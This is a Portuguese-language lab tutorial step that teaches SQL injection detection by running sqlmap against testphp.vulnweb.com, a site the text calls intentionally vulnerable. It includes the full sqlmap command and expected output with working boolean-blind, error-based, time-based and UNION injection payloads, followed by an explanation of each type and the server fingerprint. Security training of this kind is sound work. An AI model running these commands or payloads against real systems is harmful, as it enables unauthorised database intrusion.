Detectando uma Vulnerabilidade de Injeção de SQL
Agora que o sqlmap está instalado, você pode começar a testar uma aplicação web em busca de vulnerabilidades de injeção de SQL. Para este laboratório, usaremos um site publicamente disponível, intencionalmente vulnerável, projetado para testes de segurança. O primeiro passo em qualquer ataque de injeção de SQL é identificar um parâmetro vulnerável.
A URL alvo para este laboratório é http://testphp.vulnweb.com/listproducts.php?cat=1. O parâmetro cat=1 é um ponto de entrada potencial para a injeção. Usaremos o sqlmap para testar automaticamente este parâmetro.
Execute o seguinte comando para iniciar o teste. A flag -u especifica a URL alvo. Usamos a flag --batch para permitir que o sqlmap seja executado com as respostas padrão para quaisquer perguntas interativas, tornando o processo não interativo e mais rápido.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
O sqlmap realizará uma série de testes contra a URL. Ele analisará as respostas para determinar se o parâmetro cat é injetável. Este processo pode levar um ou dois minutos enquanto ele tenta várias técnicas de injeção de SQL.
Após a conclusão da varredura, revise a saída. Você deve encontrar uma seção que confirma a vulnerabilidade.
Saída Esperada (truncada):
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
A saída confirma que o parâmetro cat é vulnerável a múltiplos tipos de ataques de injeção de SQL:
- Boolean-based blind: Usa lógica de verdadeiro/falso para extrair dados.
- Error-based: Explora mensagens de erro do banco de dados para revelar informações.
- Time-based blind: Usa atrasos nas respostas para confirmar a injeção.
- UNION query: Combina resultados de múltiplas instruções SELECT.
A varredura também identifica que o banco de dados de backend é o MySQL versão 5.6 ou superior, rodando em um sistema Linux Ubuntu com Nginx e PHP. Essas informações detalhadas de "fingerprinting" guiam os próximos passos no processo de exploração.